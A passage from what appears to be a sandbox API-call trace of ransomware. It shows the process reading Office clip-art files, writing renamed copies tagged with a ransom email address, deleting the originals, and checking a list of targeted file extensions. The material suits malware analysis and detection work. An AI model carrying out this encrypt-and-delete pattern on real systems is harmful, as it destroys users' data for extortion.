lpString2=".save") returned -1 [0208.695] lstrlenW (lpString="J0101856.BMP") returned 12 [0208.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.695] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=78840) returned 1 [0208.695] CloseHandle (hObject=0x35c) returned 1 [0208.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220 [0208.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.696] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.696] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0208.697] GetLastError () returned 0x0 [0208.697] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x133f8, lpOverlapped=0x0) returned 1 [0208.699] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x13400, lpOverlapped=0x0) returned 1 [0208.702] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.703] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.703] SetEndOfFile (hFile=0x368) returned 1 [0208.703] CloseHandle (hObject=0x368) returned 1 [0208.703] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.703] SetEndOfFile (hFile=0x35c) returned 1 [0208.705] CloseHandle (hObject=0x35c) returned 1 [0208.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0208.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0208.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0208.706] lstrlenW (lpString=".doc") returned 4 [0208.706] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0208.706] lstrlenW (lpString=".docx") returned 5 [0208.706] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0208.706] lstrlenW (lpString=".pdf") returned 4 [0208.706] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0208.706] lstrlenW (lpString=".xls") returned 4 [0208.706] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0208.706] lstrlenW (lpString=".xlsx") returned 5 [0208.706] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0208.706] lstrlenW (lpString=".ppt") returned 4 [0208.706] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0208.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0208.706] lstrlenW (lpString=".zip") returned 4 [0208.706] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0208.706] lstrlenW (lpString=".rar") returned 4 [0208.707] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0208.707] lstrlenW (lpString=".bz2") returned 4 [0208.707] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0208.707] lstrlenW (lpString=".7z") returned 3 [0208.707] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0208.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0208.707] lstrlenW (lpString=".dbf") returned 4 [0208.707] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0208.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0208.707] lstrlenW (lpString=".1cd") returned 4 [0208.707] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0208.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0208.707] lstrlenW (lpString=".jpg") returned 4 [0208.707] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0208.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0208.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0208.707] lstrlenW (lpString=".doc") returned 4 [0208.707] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0208.707] lstrlenW (lpString=".docx") returned 5 [0208.707] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0208.707] lstrlenW (lpString=".pdf") returned 4 [0208.707] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0208.707] lstrlenW (lpString=".xls") returned 4 [0208.707] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0208.707] lstrlenW (lpString=".xlsx") returned 5 [0208.707] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0208.707] lstrlenW (lpString=".ppt") returned 4 [0208.707] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0208.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0208.707] lstrlenW (lpString=".zip") returned 4 [0208.707] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0208.708] lstrlenW (lpString=".rar") returned 4 [0208.708] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0208.708] lstrlenW (lpString=".bz2") returned 4 [0208.708] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0208.708] lstrlenW (lpString=".7z") returned 3 [0208.708] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0208.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0208.708] lstrlenW (lpString=".dbf") returned 4 [0208.708] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0208.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0208.708] lstrlenW (lpString=".1cd") returned 4 [0208.708] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0208.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0208.708] lstrlenW (lpString=".jpg") returned 4 [0208.708] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0208.708] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0208.708] lstrlenW (lpString="J0101857.BMP") returned 12 [0208.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.708] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=32184) returned 1 [0208.709] CloseHandle (hObject=0x35c) returned 1 [0208.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220 [0208.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.709] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.709] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0208.710] GetLastError () returned 0x0 [0208.710] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0208.711] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0208.713] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.713] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.713] SetEndOfFile (hFile=0x368) returned 1 [0208.713] CloseHandle (hObject=0x368) returned 1 [0208.713] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.713] SetEndOfFile (hFile=0x35c) returned 1 [0208.714] CloseHandle (hObject=0x35c) returned 1 [0208.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0208.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0208.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0208.715] lstrlenW (lpString=".doc") returned 4 [0208.715] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0208.715] lstrlenW (lpString=".docx") returned 5 [0208.715] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0208.715] lstrlenW (lpString=".pdf") returned 4 [0208.715] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0208.716] lstrlenW (lpString=".xls") returned 4 [0208.716] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0208.716] lstrlenW (lpString=".xlsx") returned 5 [0208.716] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0208.716] lstrlenW (lpString=".ppt") returned 4 [0208.716] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0208.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0208.716] lstrlenW (lpString=".zip") returned 4 [0208.716] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0208.716] lstrlenW (lpString=".rar") returned 4 [0208.716] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0208.716] lstrlenW (lpString=".bz2") returned 4 [0208.716] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0208.716] lstrlenW (lpString=".7z") returned 3 [0208.716] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0208.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0208.716] lstrlenW (lpString=".dbf") returned 4 [0208.716] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0208.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0208.716] lstrlenW (lpString=".1cd") returned 4 [0208.716] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0208.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0208.716] lstrlenW (lpString=".jpg") returned 4 [0208.716] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0208.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0208.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0208.716] lstrlenW (lpString=".doc") returned 4 [0208.716] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0208.716] lstrlenW (lpString=".docx") returned 5 [0208.716] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0208.716] lstrlenW (lpString=".pdf") returned 4 [0208.716] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0208.717] lstrlenW (lpString=".xls") returned 4 [0208.717] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0208.717] lstrlenW (lpString=".xlsx") returned 5 [0208.717] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0208.717] lstrlenW (lpString=".ppt") returned 4 [0208.717] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0208.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0208.717] lstrlenW (lpString=".zip") returned 4 [0208.717] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0208.717] lstrlenW (lpString=".rar") returned 4 [0208.717] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0208.717] lstrlenW (lpString=".bz2") returned 4 [0208.717] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0208.717] lstrlenW (lpString=".7z") returned 3 [0208.717] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0208.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0208.717] lstrlenW (lpString=".dbf") returned 4 [0208.717] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0208.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0208.717] lstrlenW (lpString=".1cd") returned 4 [0208.717] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0208.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0208.717] lstrlenW (lpString=".jpg") returned 4 [0208.717] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0208.717] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0208.717] lstrlenW (lpString="J0101858.BMP") returned 12 [0208.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.718] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=32184) returned 1 [0208.718] CloseHandle (hObject=0x35c) returned 1 [0208.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220 [0208.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.718] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.718] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0208.719] GetLastError () returned 0x0 [0208.719] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0208.721] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0209.048] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.056] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.056] SetEndOfFile (hFile=0x368) returned 1 [0209.057] CloseHandle (hObject=0x368) returned 1 [0209.058] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.058] SetEndOfFile (hFile=0x35c) returned 1 [0209.059] CloseHandle (hObject=0x35c) returned 1 [0209.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0209.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0209.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0209.061] lstrlenW (lpString=".doc") returned 4 [0209.061] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0209.061] lstrlenW (lpString=".docx") returned 5 [0209.061] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0209.061] lstrlenW (lpString=".pdf") returned 4 [0209.061] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0209.061] lstrlenW (lpString=".xls") returned 4 [0209.062] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0209.062] lstrlenW (lpString=".xlsx") returned 5 [0209.062] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0209.062] lstrlenW (lpString=".ppt") returned 4 [0209.062] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0209.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0209.062] lstrlenW (lpString=".zip") returned 4 [0209.062] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0209.062] lstrlenW (lpString=".rar") returned 4 [0209.062] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0209.062] lstrlenW (lpString=".bz2") returned 4 [0209.062] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0209.062] lstrlenW (lpString=".7z") returned 3 [0209.062] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0209.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0209.062] lstrlenW (lpString=".dbf") returned 4 [0209.062] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0209.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0209.062] lstrlenW (lpString=".1cd") returned 4 [0209.062] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0209.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0209.062] lstrlenW (lpString=".jpg") returned 4 [0209.062] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0209.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0209.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0209.062] lstrlenW (lpString=".doc") returned 4 [0209.062] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0209.062] lstrlenW (lpString=".docx") returned 5 [0209.062] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0209.063] lstrlenW (lpString=".pdf") returned 4 [0209.063] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0209.063] lstrlenW (lpString=".xls") returned 4 [0209.063] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0209.063] lstrlenW (lpString=".xlsx") returned 5 [0209.063] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0209.063] lstrlenW (lpString=".ppt") returned 4 [0209.063] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0209.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0209.063] lstrlenW (lpString=".zip") returned 4 [0209.063] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0209.063] lstrlenW (lpString=".rar") returned 4 [0209.063] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0209.063] lstrlenW (lpString=".bz2") returned 4 [0209.063] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0209.063] lstrlenW (lpString=".7z") returned 3 [0209.063] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0209.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0209.063] lstrlenW (lpString=".dbf") returned 4 [0209.063] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0209.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0209.063] lstrlenW (lpString=".1cd") returned 4 [0209.063] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0209.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0209.063] lstrlenW (lpString=".jpg") returned 4 [0209.063] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0209.064] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.064] lstrlenW (lpString="J0101980.WMF") returned 12 [0209.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.064] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=16104) returned 1 [0209.064] CloseHandle 